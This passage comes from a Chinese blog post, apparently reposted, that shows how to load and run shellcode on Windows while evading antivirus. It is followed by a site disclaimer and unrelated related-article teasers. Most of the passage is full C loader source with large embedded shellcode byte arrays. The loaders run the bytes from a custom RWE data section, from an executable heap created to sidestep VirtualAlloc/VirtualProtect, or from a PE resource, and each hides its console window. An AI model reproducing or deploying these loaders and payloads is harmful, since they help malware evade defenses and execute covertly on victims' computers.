x57\xc4\xf4\x8e\x27\x75\x6b\x91\x91\x50\xd0\xc0\x8c\xa8\x87\x13\x06\x32\xed\xa0\x5f\x3a\x35\x3b\xea\x7a\x8b\xb7\x3c\xd0\xe4\xaa\xd1\x3d\xb5\xf2\x2b\x27\xe3\xa1\x59\x16\x47\x23\x07\xfb\x52\xdf\x64\x3d\x7a\xf3\x47\x53\x5b\xb0\xf5\xb2\x80\xc1\xb8\xfc\xc0\x28\x10\x41\xa0\x76\xc7\xb0\x48\x8b\x3c\x24\x48\x83\xec\x08\x81\x2f\xf1\x56\x6d\x0f\xf7\x57\x04\x81\x77\x08\x4e\x90\x8b\x7f\xc1\x47\x0c\x49\xff\xe7";
int main() {((void(*)()) & sc)(); //&sc
}

4.新增数据段(最终优化)

除了修改data段的内存属性, 还可以新增一个段, 设置为可执行的属性。

#include <windows.h>
#include <stdio.h>
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") // 不显示黑窗口
#pragma data_seg("vdata") //自定义新数据段名称
unsigned char sc[] = "\x90\xe8\x2d\x05\x00\x00\x32\x0c\xc2\x57\x38\x3e\xed\xfa\x4e\x90\xc7\xf2\x04\x00\x80\x9a\x00\x45\x30\x2c\x0e\x45\x02\x2c\x0e\xe2\xf6\xab\x87\x6f\x8f\x8b\x8b\x43\x61\x3b\xbc\x59\xf7\xa6\x15\xab\x20\x55\x20\x19\xec\x63\x41\x66\x66\xc2\x8a\xbe\x36\x72\x08\x3c\xb0\xaa\x18\xa2\x60\xab\xd2\x19\xa0\xcf\x8f\x05\xfe\xbf\xbc\x2c\x5d\x62\x31\x5e\x5b\x9d\x3e\x3e\x47\x96\x3a\xbe\xee\xc7\x9f\x6d\x49\x1c\xa9\x96\x70\x96\xdd\x93\xf2\x34\x53\x57\x97\x04\x87\x40\xe1\xdf\x1c\x9b\x3e\xbd\x22\x8b\xd9\xd2\xe7\xeb\x0f\x17\x73\x52\xaf\x78\xeb\x09\x9a\xf6\x24\x41\x36\xd6\x5a\x85\xb2\x9b\x83\x0d\x11\x3f\xfd\x77\xa3\xc8\x32\x05\xbd\xab\x7a\xe7\x74\xbf\x0c\xb6\x17\x0b\x36\x2d\x51\xdb\x34\xee\x6c\x66\x56\xc9\x69\x58\x1b\x5c\x2f\x0e\x1f\x30\x05\xef\x1e\x8c\x99\xbd\x9f\xa1\x0e\xc7\xc5\x88\x64\x18\xda\xab\x6b\x8b\x37\xf9\x70\xad\x87\xb3\x76\x7e\xb0\x3e\x70\x9f\xbe\x15\x9d\x13\x2f\x7b\x9c\xde\x17\x97\x1c\xa6\xea\x08\x73\x1b\x75\xbd\x8c\xb4\x00\xd3\xc3\xda\x89\xdb\x88\x56\x56\xac\x42\x50\x64\x90\x6f\x6a\x87\xd7\xbe\x2c\x0a\xba\xe5\xe3\x01\xb0\x0e\xf1\xec\x99\x6d\xd6\xc1\xaf\x94\xf4\x5c\x60\x28\xdf\xe4\xa6\xed\x4e\xc3\x24\x04\x6c\x4c\x53\x85\x0f\x11\x80\x39\xd3\xf6\xbf\x89\xc1\x59\x21\xbf\x37\x92\xb8\x4a\x47\x3b\x2a\xdc\xa3\xad\x12\xf9\xc9\x78\xc7\xc0\x62\x06\x74\x0b\xd3\x8a\x8b\xed\x62\x34\xe4\x2b\x58\x46\xa8\x98\xfc\x18\xf4\xea\xb5\xb6\x07\xf6\xbd\x4e\x87\xe3\xd6\xad\x21\xf4\x90\xe3\x18\x35\x3c\x88\x3c\x70\x81\xb3\x02\xa0\xe0\x53\x86\x2c\x1e\xc0\xf3\x00\x7a\x31\x72\x9a\x35\x2d\x98\xed\x5d\xb5\xbc\xd9\xf3\xaa\x85\x75\xa3\xa6\xad\x2f\x06\x08\xac\x7a\x9c\x1b\xca\xf4\xd3\x69\xbb\xb8\xb9\x49\x89\xa9\xce\xf6\x4f\xa1\x60\x92\x27\x06\xf4\x1c\x57\xbb\x00\x13\x2e\x24\x14\xea\x49\x6e\x0a\xf2\x3f\x5f\x6c\x23\x10\xde\x84\xb4\x34\x20\xb3\x68\x75\xf3\x8c\x4e\x07\xc4\xfb\xbc\xdd\x18\xb5\xf7\x83\x86\x00\x3b\xff\xbc\xdf\xeb\x82\x83\xb8\x2d\xf0\x97\x4c\x56\xfb\x91\x9f\x72\x5b\xad\xd6\xd3\x01\xfa\x3f\x1f\xc6\x69\x02\x39\xca\xa7\x2f\x3a\x5a\x21\xa7\x63\x58\x99\xd3\x3d\x78\xea\xaa\xb5\x44\x57\x65\x20\xcd\xcd\x55\x51\x5f\x6a\x6b\x48\x85\x80\xea\xb5\x27\x00\x8d\x34\xec\xce\x03\x9d\xb5\xd9\x0b\x75\xd8\x33\xf7\xdc\xbd\x1d\x15\xec\x66\x16\x98\x54\xfb\x4f\x30\x41\xce\x37\xb4\x1f\xfe\x01\xba\x81\xe8\xed\x64\x0e\xec\xf9\x67\xf2\x9a\x8e\x64\x43\xc0\x37\x7c\x05\xd5\x91\xb9\xcf\xdb\x45\xca\x28\xf6\x35\x7f\xd1\xee\xac\xea\x3f\x70\x9f\x01\x73\xee\x51\x1b\x66\xe6\x15\xb9\x3e\x7b\x96\xf5\xd0\x2b\xe7\x68\xfc\x53\xaf\xc4\xf2\x88\xd8\xd6\xaf\xe4\xc4\x2e\xdb\xd9\xe3\xec\x78\x80\xa0\x89\x15\x93\x48\xc3\x7e\x82\xab\x59\xb0\x4b\x89\x15\xeb\xe0\x12\x49\x80\xf0\x57\x38\xd7\x66\x35\xba\x56\x8f\x8c\x01\xe5\xff\x53\x92\xd1\x19\x44\xa2\x3a\xf4\xa0\xb3\xad\x86\x67\x17\xb2\x49\x5c\xd4\xba\xa4\x85\xc7\x69\x3e\xab\x09\x4a\x31\x69\x26\x28\x5c\x32\xce\x08\xe1\x66\xdd\x8d\x47\xa0\x68\x9b\x1a\xdc\xee\x94\x1f\x73\x0c\x41\xd3\xc9\x25\xed\xe5\x02\x92\x9b\x84\x02\x0b\x73\x0f\x77\x98\x18\xdb\x0e\x98\xb8\x1b\xba\x4f\xa2\x1a\x90\x3b\x4d\x4d\xd7\xc3\x9d\x49\x1e\x4b\xaa\x01\xa4\x6b\xd1\x27\xaa\x25\x79\x5a\x4e\x42\x75\x2c\x2b\xa5\x04\x0e\xed\x01\xf7\x58\xb7\xdd\xc4\xdb\x07\x74\x6a\x63\x2d\x16\xb5\x19\x5d\xed\xc4\x20\x64\xd6\x5e\xd7\xa7\xa8\xf8\xae\x3b\xb3\x2b\xd5\xfb\x62\x3a\x69\x6f\x4b\x57\xd2\xe8\xe1\x30\x9b\xc8\x47\xf2\x46\x30\x7d\x51\x4f\xfb\x5e\xc7\x61\x3f\x18\xbc\x25\xc1\x72\xdd\xef\x64\x40\xce\xcb\x55\xc4\x31\x3c\xc5\xa2\x34\x1a\xd9\x8e\xba\x6f\x32\xcc\xbb\x72\x0b\xac\xd5\x57\x8e\x7c\xe2\x10\xd2\xe8\xad\xd0\x47\x91\x15\xff\x38\x99\x36\x06\x4f\x3f\x81\x8a\x97\xf3\x86\xee\x5e\x19\x85\x33\xb3\xd0\xf5\x12\x90\x3c\x5a\x29\xce\xa6\x70\xd8\x93\x62\x9c\x9e\x37\xda\x94\xcf\x76\x4b\xee\xc4\x70\x6d\x81\xd1\x0d\x6c\x6a\x8e\x71\xbe\x0c\x9e\xf2\xc3\xb0\x59\xce\x92\xcc\xc4\xb4\x48\xe3\x32\x1d\x26\x57\x46\xca\x68\x52\x25\x0c\x4b\xc2\xb5\x30\xa5\x34\xd9\x77\xae\xcf\xaa\x5f\x03\xc9\xd4\x42\xfe\x82\xd2\xd8\xfd\xd7\x2c\x50\x35\x0f\xb4\x13\xca\x4e\x7e\xaa\xc9\x2e\x89\x90\x54\xa7\xd3\x37\x45\x01\xd6\x22\xf1\x40\xf5\xba\x27\xdd\x7c\xcf\x54\x58\xf9\x21\x17\xe8\x4f\xe9\x1f\x83\xc7\x92\x8c\x1d\xe2\x5e\xb6\xc4\x98\xa0\x07\x80\xbd\x97\x82\x8a\x11\x04\x38\x2d\x8c\x11\x09\x05\xd9\xd1\x35\x66\x29\x19\xd2\x78\x0c\x41\x95\xc6\x4a\xbb\xa7\x6c\x58\x2f\xd6\x11\xc9\x3c\x2d\xb6\x65\x93\xc1\x81\xbe\xed\x1b\xb8\xc4\xa9\xc0\x3b\xc7\x0d\x04\x89\xf2\x46\xbb\xc7\xf5\x11\xd8\xc2\xbc\x6c\x7f\x6c\x6a\x17\xf6\x39\x2d\x20\xec\x2c\xd2\xbe\x3d\x97\xf1\xbd\xad\xb6\xfd\x2c\xe7\xd6\x2a\x0c\xa9\x1f\x23\xbd\x4f\x21\x2d\xb7\x9d\x79\x66\x7a\x1d\x86\x70\x69\x02\x4b\x3e\x91\x83\x0c\xce\x1b\xf9\x9c\xaf\x5f\xd2\x56\xc3\x14\x10\xda\xd4\x1e\x15\x92\x30\xe4\x8b\xc1\x1b\x8b\x6a\x25\xe5\x37\x5c\x20\xd5\x2c\x16\x6a\xdb\xbe\xfb\x2e\x91\x4c\xfd\x41\x3a\x2d\x07\x8b\x2b\x25\x5f\x88\x06\x28\xb2\x18\x70\x33\x50\xed\xa9\x1a\x0e\xec\xe1\x8e\xf4\xa9\x97\xce\x88\xde\xf2\x25\x86\x85\x8d\xff\xb5\x34\x86\x34\xec\xc8\x71\xb8\xfe\x80\x22\x4c\x5e\x64\x9d\xd2\xf2\xcd\xce\x83\x64\xf0\xb7\x78\x91\xac\xf9\xc2\x28\x56\xb0\x1f\xaf\x24\xd4\x3e\xeb\x43\x9b\x57\xfd\x56\xc1\xfe\x34\x37\xf2\x2f\x9d\xea\x68\x31\x0c\xd5\xdc\x36\xe2\xe7\x60\xf3\x3b\xa9\xcf\x1b\xd0\xd7\x08\x21\xba\xec\x88\x45\xf2\x7f\xd8\x50\x03\x27\x7b\xac\x1d\x47\xaa\x0d\x57\xc4\xf4\x8e\x27\x75\x6b\x91\x91\x50\xd0\xc0\x8c\xa8\x87\x13\x06\x32\xed\xa0\x5f\x3a\x35\x3b\xea\x7a\x8b\xb7\x3c\xd0\xe4\xaa\xd1\x3d\xb5\xf2\x2b\x27\xe3\xa1\x59\x16\x47\x23\x07\xfb\x52\xdf\x64\x3d\x7a\xf3\x47\x53\x5b\xb0\xf5\xb2\x80\xc1\xb8\xfc\xc0\x28\x10\x41\xa0\x76\xc7\xb0\x48\x8b\x3c\x24\x48\x83\xec\x08\x81\x2f\xf1\x56\x6d\x0f\xf7\x57\x04\x81\x77\x08\x4e\x90\x8b\x7f\xc1\x47\x0c\x49\xff\xe7";
//停止将数据放入新数据段中
#pragma data_seg()
//将新数据段的属性修改为可读可写可执行
#pragma comment(linker,"/SECTION:vdata,RWE") //记得修改成新数据段的名称
int main() {((void(*)()) & sc)(); //&sc
}

PS:这段代码是用于在 Windows 平台上创建一个特殊的数据段(segment)并在其中存储一些二进制数据。

  1. #pragma data_seg("vdata") : 这是一个编译器指令,用于告诉编译器将接下来的数据放置在名为"vdata" 的特殊数据段中。这个数据段是一个自定义命名的段,用于存储一些特殊的数据。
  1. #pragma data_seg() : 这个指令告诉编译器停止将数据放置在之前定义的特殊数据段中,即"vdata"。
  1. #pragma comment(linker,"/SECTION:vdata,RWE") : 这是一个链接器指令,告诉链接器将 "vdata"段标记为可读(Read)、可写(Write)、可执行(Execute)。这是为了确保在运行时可以修改这个段的内容,通常用于实现一些动态代码生成或者代码注入的技术。

5.通过堆加载

除了通过链接器修改数据段的内存属性外, 还可以通过HeapCreate api获取一个具有执行权限的堆, 并在其中分配一块内存,将其地址赋给shellcode, 也是一种规避 VirtualAlloc, VirtualProtect api的一种实现方法, 通过指针运行。

#include <windows.h>
#include <stdio.h>
// 不显示黑窗口
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") unsigned char sc[] = "\x90\xe8\x2d\x05\x00\x00\x32\x0c\xc2\x57\x38\x3e\xed\xfa\x4e\x90\xc7\xf2\x04\x00\x80\x9a\x00\x45\x30\x2c\x0e\x45\x02\x2c\x0e\xe2\xf6\xab\x87\x6f\x8f\x8b\x8b\x43\x61\x3b\xbc\x59\xf7\xa6\x15\xab\x20\x55\x20\x19\xec\x63\x41\x66\x66\xc2\x8a\xbe\x36\x72\x08\x3c\xb0\xaa\x18\xa2\x60\xab\xd2\x19\xa0\xcf\x8f\x05\xfe\xbf\xbc\x2c\x5d\x62\x31\x5e\x5b\x9d\x3e\x3e\x47\x96\x3a\xbe\xee\xc7\x9f\x6d\x49\x1c\xa9\x96\x70\x96\xdd\x93\xf2\x34\x53\x57\x97\x04\x87\x40\xe1\xdf\x1c\x9b\x3e\xbd\x22\x8b\xd9\xd2\xe7\xeb\x0f\x17\x73\x52\xaf\x78\xeb\x09\x9a\xf6\x24\x41\x36\xd6\x5a\x85\xb2\x9b\x83\x0d\x11\x3f\xfd\x77\xa3\xc8\x32\x05\xbd\xab\x7a\xe7\x74\xbf\x0c\xb6\x17\x0b\x36\x2d\x51\xdb\x34\xee\x6c\x66\x56\xc9\x69\x58\x1b\x5c\x2f\x0e\x1f\x30\x05\xef\x1e\x8c\x99\xbd\x9f\xa1\x0e\xc7\xc5\x88\x64\x18\xda\xab\x6b\x8b\x37\xf9\x70\xad\x87\xb3\x76\x7e\xb0\x3e\x70\x9f\xbe\x15\x9d\x13\x2f\x7b\x9c\xde\x17\x97\x1c\xa6\xea\x08\x73\x1b\x75\xbd\x8c\xb4\x00\xd3\xc3\xda\x89\xdb\x88\x56\x56\xac\x42\x50\x64\x90\x6f\x6a\x87\xd7\xbe\x2c\x0a\xba\xe5\xe3\x01\xb0\x0e\xf1\xec\x99\x6d\xd6\xc1\xaf\x94\xf4\x5c\x60\x28\xdf\xe4\xa6\xed\x4e\xc3\x24\x04\x6c\x4c\x53\x85\x0f\x11\x80\x39\xd3\xf6\xbf\x89\xc1\x59\x21\xbf\x37\x92\xb8\x4a\x47\x3b\x2a\xdc\xa3\xad\x12\xf9\xc9\x78\xc7\xc0\x62\x06\x74\x0b\xd3\x8a\x8b\xed\x62\x34\xe4\x2b\x58\x46\xa8\x98\xfc\x18\xf4\xea\xb5\xb6\x07\xf6\xbd\x4e\x87\xe3\xd6\xad\x21\xf4\x90\xe3\x18\x35\x3c\x88\x3c\x70\x81\xb3\x02\xa0\xe0\x53\x86\x2c\x1e\xc0\xf3\x00\x7a\x31\x72\x9a\x35\x2d\x98\xed\x5d\xb5\xbc\xd9\xf3\xaa\x85\x75\xa3\xa6\xad\x2f\x06\x08\xac\x7a\x9c\x1b\xca\xf4\xd3\x69\xbb\xb8\xb9\x49\x89\xa9\xce\xf6\x4f\xa1\x60\x92\x27\x06\xf4\x1c\x57\xbb\x00\x13\x2e\x24\x14\xea\x49\x6e\x0a\xf2\x3f\x5f\x6c\x23\x10\xde\x84\xb4\x34\x20\xb3\x68\x75\xf3\x8c\x4e\x07\xc4\xfb\xbc\xdd\x18\xb5\xf7\x83\x86\x00\x3b\xff\xbc\xdf\xeb\x82\x83\xb8\x2d\xf0\x97\x4c\x56\xfb\x91\x9f\x72\x5b\xad\xd6\xd3\x01\xfa\x3f\x1f\xc6\x69\x02\x39\xca\xa7\x2f\x3a\x5a\x21\xa7\x63\x58\x99\xd3\x3d\x78\xea\xaa\xb5\x44\x57\x65\x20\xcd\xcd\x55\x51\x5f\x6a\x6b\x48\x85\x80\xea\xb5\x27\x00\x8d\x34\xec\xce\x03\x9d\xb5\xd9\x0b\x75\xd8\x33\xf7\xdc\xbd\x1d\x15\xec\x66\x16\x98\x54\xfb\x4f\x30\x41\xce\x37\xb4\x1f\xfe\x01\xba\x81\xe8\xed\x64\x0e\xec\xf9\x67\xf2\x9a\x8e\x64\x43\xc0\x37\x7c\x05\xd5\x91\xb9\xcf\xdb\x45\xca\x28\xf6\x35\x7f\xd1\xee\xac\xea\x3f\x70\x9f\x01\x73\xee\x51\x1b\x66\xe6\x15\xb9\x3e\x7b\x96\xf5\xd0\x2b\xe7\x68\xfc\x53\xaf\xc4\xf2\x88\xd8\xd6\xaf\xe4\xc4\x2e\xdb\xd9\xe3\xec\x78\x80\xa0\x89\x15\x93\x48\xc3\x7e\x82\xab\x59\xb0\x4b\x89\x15\xeb\xe0\x12\x49\x80\xf0\x57\x38\xd7\x66\x35\xba\x56\x8f\x8c\x01\xe5\xff\x53\x92\xd1\x19\x44\xa2\x3a\xf4\xa0\xb3\xad\x86\x67\x17\xb2\x49\x5c\xd4\xba\xa4\x85\xc7\x69\x3e\xab\x09\x4a\x31\x69\x26\x28\x5c\x32\xce\x08\xe1\x66\xdd\x8d\x47\xa0\x68\x9b\x1a\xdc\xee\x94\x1f\x73\x0c\x41\xd3\xc9\x25\xed\xe5\x02\x92\x9b\x84\x02\x0b\x73\x0f\x77\x98\x18\xdb\x0e\x98\xb8\x1b\xba\x4f\xa2\x1a\x90\x3b\x4d\x4d\xd7\xc3\x9d\x49\x1e\x4b\xaa\x01\xa4\x6b\xd1\x27\xaa\x25\x79\x5a\x4e\x42\x75\x2c\x2b\xa5\x04\x0e\xed\x01\xf7\x58\xb7\xdd\xc4\xdb\x07\x74\x6a\x63\x2d\x16\xb5\x19\x5d\xed\xc4\x20\x64\xd6\x5e\xd7\xa7\xa8\xf8\xae\x3b\xb3\x2b\xd5\xfb\x62\x3a\x69\x6f\x4b\x57\xd2\xe8\xe1\x30\x9b\xc8\x47\xf2\x46\x30\x7d\x51\x4f\xfb\x5e\xc7\x61\x3f\x18\xbc\x25\xc1\x72\xdd\xef\x64\x40\xce\xcb\x55\xc4\x31\x3c\xc5\xa2\x34\x1a\xd9\x8e\xba\x6f\x32\xcc\xbb\x72\x0b\xac\xd5\x57\x8e\x7c\xe2\x10\xd2\xe8\xad\xd0\x47\x91\x15\xff\x38\x99\x36\x06\x4f\x3f\x81\x8a\x97\xf3\x86\xee\x5e\x19\x85\x33\xb3\xd0\xf5\x12\x90\x3c\x5a\x29\xce\xa6\x70\xd8\x93\x62\x9c\x9e\x37\xda\x94\xcf\x76\x4b\xee\xc4\x70\x6d\x81\xd1\x0d\x6c\x6a\x8e\x71\xbe\x0c\x9e\xf2\xc3\xb0\x59\xce\x92\xcc\xc4\xb4\x48\xe3\x32\x1d\x26\x57\x46\xca\x68\x52\x25\x0c\x4b\xc2\xb5\x30\xa5\x34\xd9\x77\xae\xcf\xaa\x5f\x03\xc9\xd4\x42\xfe\x82\xd2\xd8\xfd\xd7\x2c\x50\x35\x0f\xb4\x13\xca\x4e\x7e\xaa\xc9\x2e\x89\x90\x54\xa7\xd3\x37\x45\x01\xd6\x22\xf1\x40\xf5\xba\x27\xdd\x7c\xcf\x54\x58\xf9\x21\x17\xe8\x4f\xe9\x1f\x83\xc7\x92\x8c\x1d\xe2\x5e\xb6\xc4\x98\xa0\x07\x80\xbd\x97\x82\x8a\x11\x04\x38\x2d\x8c\x11\x09\x05\xd9\xd1\x35\x66\x29\x19\xd2\x78\x0c\x41\x95\xc6\x4a\xbb\xa7\x6c\x58\x2f\xd6\x11\xc9\x3c\x2d\xb6\x65\x93\xc1\x81\xbe\xed\x1b\xb8\xc4\xa9\xc0\x3b\xc7\x0d\x04\x89\xf2\x46\xbb\xc7\xf5\x11\xd8\xc2\xbc\x6c\x7f\x6c\x6a\x17\xf6\x39\x2d\x20\xec\x2c\xd2\xbe\x3d\x97\xf1\xbd\xad\xb6\xfd\x2c\xe7\xd6\x2a\x0c\xa9\x1f\x23\xbd\x4f\x21\x2d\xb7\x9d\x79\x66\x7a\x1d\x86\x70\x69\x02\x4b\x3e\x91\x83\x0c\xce\x1b\xf9\x9c\xaf\x5f\xd2\x56\xc3\x14\x10\xda\xd4\x1e\x15\x92\x30\xe4\x8b\xc1\x1b\x8b\x6a\x25\xe5\x37\x5c\x20\xd5\x2c\x16\x6a\xdb\xbe\xfb\x2e\x91\x4c\xfd\x41\x3a\x2d\x07\x8b\x2b\x25\x5f\x88\x06\x28\xb2\x18\x70\x33\x50\xed\xa9\x1a\x0e\xec\xe1\x8e\xf4\xa9\x97\xce\x88\xde\xf2\x25\x86\x85\x8d\xff\xb5\x34\x86\x34\xec\xc8\x71\xb8\xfe\x80\x22\x4c\x5e\x64\x9d\xd2\xf2\xcd\xce\x83\x64\xf0\xb7\x78\x91\xac\xf9\xc2\x28\x56\xb0\x1f\xaf\x24\xd4\x3e\xeb\x43\x9b\x57\xfd\x56\xc1\xfe\x34\x37\xf2\x2f\x9d\xea\x68\x31\x0c\xd5\xdc\x36\xe2\xe7\x60\xf3\x3b\xa9\xcf\x1b\xd0\xd7\x08\x21\xba\xec\x88\x45\xf2\x7f\xd8\x50\x03\x27\x7b\xac\x1d\x47\xaa\x0d\x57\xc4\xf4\x8e\x27\x75\x6b\x91\x91\x50\xd0\xc0\x8c\xa8\x87\x13\x06\x32\xed\xa0\x5f\x3a\x35\x3b\xea\x7a\x8b\xb7\x3c\xd0\xe4\xaa\xd1\x3d\xb5\xf2\x2b\x27\xe3\xa1\x59\x16\x47\x23\x07\xfb\x52\xdf\x64\x3d\x7a\xf3\x47\x53\x5b\xb0\xf5\xb2\x80\xc1\xb8\xfc\xc0\x28\x10\x41\xa0\x76\xc7\xb0\x48\x8b\x3c\x24\x48\x83\xec\x08\x81\x2f\xf1\x56\x6d\x0f\xf7\x57\x04\x81\x77\x08\x4e\x90\x8b\x7f\xc1\x47\x0c\x49\xff\xe7";void main() {// 创建一个具有执行权限的堆,以存储shellcodeHANDLE HeapHandle = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, sizeof(sc), 0);// 在创建的堆中分配一块内存,并将其地址赋给bufferchar* buffer = (char*)HeapAlloc(HeapHandle, HEAP_ZERO_MEMORY, sizeof(sc));// 将shellcode复制到buffer指向的内存中memcpy(buffer, sc, sizeof(sc));// 将buffer指向的内存地址强制转换为一个函数指针,并调用该函数,执行shellcode((void(*)()) buffer)();
}

6.shellcode存放在资源节

针对PE文件, 我们可以设置其资源文件, 把我们的shellcode文件当做资源文件导入, 然后在程序中定位到资源文件的位置, 读取相应的字节大小, 加载执行。

  1. 右键项目,添加资源
  2. 选第一个,点击导入
  3. 选择生成好的.bin文件(例如:pd.bin)
  4. 资源类型填文件名(例如:pd),然后点击确定
  5. 然后自定义bin文件的资源类型, 此处我自定义的类型为"jsq",当然你也可以定义成其它的名字添加完资源后会在当前项目生成一个resource.h, 代码如下所示,这里只需注意这段代码。#define IDR_JSQ1 101​
  6. 将 IDR_JSQ1​ 修改成 IDR_PD1​ 即可
#include <Windows.h>
#include "resource.h"
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") // 不显示黑窗口
void main() {//第一个参数为NULL,第二个参数填resource.h里的IDR_PD1,第三个参数填自己定义的资源类型HRSRC Res = FindResource(NULL, MAKEINTRESOURCE(IDR_PD1), L"pd");//用于获取资源的大小DWORD ResSize = SizeofResource(NULL, Res);//LoadResource函数会将指定资源句柄所指向的资源数据加载到内存中,并返回一个指向该资源数据的句柄HGLOBAL Load = LoadResource(NULL, Res);//申请内存void* buffer = VirtualAlloc(NULL, ResSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);memcpy(buffer, Load, ResSize);//指针执行shellcode((void(*)()) buffer)();
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/68007.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

C语言gdb调试

目录 1.gdb介绍 2.设置断点 2.1.测试代码 2.2.设置函数断点 2.3.设置文件行号断点 2.4.设置条件断点 2.5.多线程调试 3.删除断点 3.1.删除指定断点 3.2.删除全部断点 4.查看变量信息 4.1.p命令 4.2.display命令 4.3.watch命令 5.coredump日志 6.总结 1.gdb介绍…

Unity动态图集技术

.背景 首先&#xff0c;为什么需要动态图集&#xff1f;主要有两个原因&#xff1a; 游戏中的icon数量相当大&#xff0c;数量达到上千个。如果打成静态图集&#xff0c;需要好几张2048x2048的图集。运行时内存占用较大。同时&#xff0c;在这种情况下&#xff0c;由于icon会跨…

[程序设计]—代理模式

[程序设计]—代理模式&#x1f473; 本文章记录学习于——52.面向切面&#xff1a;AOP-场景模拟_哔哩哔哩_bilibili 最近闲来无事&#xff0c;在学习Spring的源码&#xff1a; 后面慢慢更新源码系列blog&#xff0c;希望多多关注&#x1f64f;&#x1f64f; 目前已经总结的b…

我的128天创作之路:回顾与展望

大家好呀&#xff01;今天来和你们分享一下我的创作历程&#x1f601;。 一、机缘 最开始创作呢&#xff0c;是因为在学习 C 的 STL 时&#xff0c;像 string、list、vector 这些模板可把我折腾得够呛&#xff0c;但也让我学到了超多东西&#xff01;我就想&#xff0c;要是把我…

线上服务怎么记录每次fullgc的dump文件

目录 使用JVM参数配置 使用命令行工具 注意事项 在线上服务中,记录每次Full GC的dump文件可以帮助开发者深入分析垃圾回收行为,优化JVM性能。以下是一些相关命令和步骤: 使用JVM参数配置 启用GC日志: 通过JVM参数-Xloggc指定GC日志的输出路径,例如-Xloggc:/path/to/gc…

RAID储存技术

RAID独立磁盘冗余技术是一种把2个或者多个HDD或SSD合并为一个协调的存储单元或列阵&#xff0c;从而预防数据丢失的技术&#xff0c;其最早由加州大学伯克利分校的计算机科学家David Patterson、Garth Gibson和Randy Katz在1987年提出。他们的研究论文“关于RAID的论证”提出了…

【复习小结】14-21

DAY14-15 栈和栈的应用 压栈&#xff08;push&#xff09;和弹栈&#xff08;pop&#xff09; 当执行压栈操作时&#xff0c;新元素被放置在栈顶&#xff0c;现有元素向下移动一位。 当执行弹栈操作时&#xff0c;栈顶元素被移除&#xff0c;现有元素向上移动一位。 括号匹配问…

【Ubuntu与Linux操作系统:三、用户与组管理】

第3章 用户与组管理 3.1 用户与组概述 Linux是一个多用户操作系统&#xff0c;允许多个用户同时登录并执行任务。每个用户在系统中都有独立的身份和权限。为了更高效地管理用户&#xff0c;Linux通过“组”的概念将用户进行分类。 用户&#xff08;User&#xff09;&#xff…

Openstack持久存储-Swift,Cinder,Manila三者之间的区别

总结不易&#xff0c;给个三连吧&#xff01;&#xff01;&#xff01; 补充&#xff1a; 文件共享存储服务Manila 在OpenStack生态系统中&#xff0c;Cinder和Manila分别提供了两种不同类型的存储服务&#xff0c;类似于传统的SAN&#xff08;存储区域网络&#xff09;和NAS&…

【数通】MPLS

MPLS 是什么&#xff1f; 多协议标签技术 标准解释&#xff1a;是一种旨在提高大型网络或边缘站点传输数据的速度和效率的技术。是可以加快并简化从数据中心跨网络主干到边缘以及两者之间任何位置的连接。MPLS 在虚拟专用网&#xff08;VPN&#xff09;中工作&#xff0c;并与…

软件测试预备知识④—NTFS权限管理、磁盘配额与文件共享

在软件测试的实际环境搭建与管理过程中&#xff0c;了解和掌握NTFS权限管理、磁盘配额以及文件共享等知识至关重要。这些功能不仅影响系统的安全性和稳定性&#xff0c;还对测试数据的存储、访问以及多用户协作测试有着深远的影响。 一、NTFS权限管理 1.1 NTFS简介 NTFS&am…

在 Docker 中安装并运行三个 MySQL 数据库

在 Docker 中安装并运行三个 MySQL 数据库 1. 确保 Docker 已安装和运行 确保 Docker 服务已在你的系统中正确安装和运行&#xff0c;可以通过以下命令检查&#xff1a; docker --version docker info2. 拉取 MySQL 镜像 从 Docker Hub 拉取最新版 MySQL 镜像&#xff1a; …

PyTorch深度学习CNN神经网络ResNet、DenseNet在CIFAR图像数据集分类应用与分析

全文链接&#xff1a;https://tecdat.cn/?p38782 在当今深度学习领域&#xff0c;卷积神经网络&#xff08;CNN&#xff09;架构不断发展与创新&#xff0c;诸多先进的架构被提出并广泛应用。像GoogleNet&#xff08;ILSVRC 2014获胜者&#xff09;、ResNet&#xff08;ILSVRC…

MongoDB 删除集合

MongoDB 删除集合 在MongoDB中,集合是存储文档的地方,相当于关系型数据库中的表。有时候,我们可能需要删除不再需要的集合,以便释放存储空间或清理数据。本文将详细介绍如何在MongoDB中删除集合。 一、使用MongoShell删除集合 MongoDB提供了一个名为mongo的交互式JavaSc…

word论文排版常见问题汇总

word论文排版常见问题汇总 常用快捷键&#xff1a; Alt F9 正常模式与域代码模式切换 Ctrl F9 插入域代码 F9 刷新域代码显示&#xff0c;要注意选定后刷新才会有效果 word中在当前列表的基础上修改列表 在使用word时&#xff0c;我们会定义一个列表&#xff0c;并将其链接…

【Rust】数据类型

目录 思维导图 1. 数据类型概述 1.1 标量类型 1.1.1 整数类型 1.1.2 浮点数类型 1.1.3 布尔类型 1.1.4 字符类型 1.2 复合类型 1.2.1 元组类型 1.2.2 数组类型 2. 类型注解与类型推断 3. 整数溢出处理 4. 数字运算 5. 示例 思维导图 1. 数据类型概述 Rust是一种静…

ceph 数据均衡

实现数据均衡的主要方法 在 Ceph 集群中,实现 OSD(对象存储守护进程)之间的数据均衡对于提升性能和资源利用率至关重要。以下是实现数据均衡的主要方法: 1. 调整 OSD 权重(Reweight) 通过调整 OSD 的权重,可以控制数据在各个 OSD 之间的分布。Ceph 提供了根据利用率或…

Proteus-8086调试汇编格式的一点心得

这阵子开始做汇编的微机实验&#xff08;微机原理与接口技术题解及实验指导&#xff0c;吴宁版本13章&#xff09;&#xff0c;中间出了挺多问题&#xff0c;解决后记录下。 先上电路图 用子电路来仿真发现仿真的时候子电路这块根本没有高低电平输出&#xff0c;只好把子电路拿…

跨界融合:人工智能与区块链如何重新定义数据安全?

